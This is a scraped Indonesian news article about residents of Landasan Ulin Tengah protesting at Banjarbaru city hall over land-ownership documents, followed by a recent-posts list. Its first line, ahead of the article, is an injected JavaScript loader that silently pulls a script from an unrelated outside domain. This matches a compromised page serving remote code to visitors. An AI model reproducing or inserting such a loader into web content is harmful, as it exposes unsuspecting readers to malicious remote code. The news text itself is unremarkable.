(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Soal Tanah, Warga Landasan Ulin Tengah Ngadu ke Balaikota


BANJARBARU, Puluhan warga RT 06 RW 02 Kelurahan Landasan Ulin Tengah datangi halaman Balaikota Banjarbaru, Senin (16/7). Warga menuntut pemerintah segera menyelesaikan masalah tanah yang belum dibuatkan surat kepemilikan tanah, dan segera meminta dibuatkan surat kepemilikan tanah (sporadik).

Sumaji, salah satu warga mengatakan, kedatangan mereka hanya untuk mengadukan kejelasan tanah yang dimiliki mereka selama ini. Warga dibikin gusar karena ketika mengurus bukti kepemilikan, ada kesulitan untuk pembuatan surat tanah dari kelurahan.

“Kami sudah bermukin di sana jauh sebelum seperti seramai sekarang, saya punya tanah seluas 17×25 meter, tanah itu memang tanah kami, namun ketika ingin mengurus surat-surat kepemilikan seperti dipersulit oleh pihak kelurahan,” keluhnya.

Sebagai bukti adanya kepemilikan tanah yang dimilikinya saat ini, Sumaji mdengaku mengantongi kwitansi segel jual beli, namun ketika mengurus ke kelurahan tidak bisa terlaksana. Terkesan seakan dipersulit, padahal kebanyakan tanah tersebut dipergunakan masyarakat untuk bertani.

“Harapan saya mudah-mudahan pemerintah bisa membantu dan bisa mengatasi kesusahan warga biar kami semua nyaman dan enak bekerja,” ujarnya.

Sementara itu menurut Ketua KAKI Kalsel Akhmad Husaini yang mendampingi warga bertemu dengan Pemko Banjarbaru mengatakan, ada dua poin kesepakatan yang mereka bicarakan. Pertama, dugaan pelayanan publik yang kurang memuaskan kepada masyarakat dari pihak terkait. Kedua Pemko Banjarbaru akan melakukan penyelidikan dan meninjau ke lokasi tanah tersebut, dengan tujuan untuk mencari solusi maupun jalan keluar atas permasalahan tersebut.

“Ada dua poin yang disimpulkan dalam mediasi tadi, salah satunya pelayanan public yang diberikan oleh pihak yang terkait, karena begitu susahnya masyarakat untuk mengolah sporadik,” jelasnya. “Warga tidak mau ada masalah ke ranah hukum,” tegasnya.

Masih menurut Husaini sejumlah sudah mempunyai sertifikat maupun bukti kuitansi jual beli, namun ada pihak yang mengklaim tanah tersebut. (rendy)

Reporter:rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.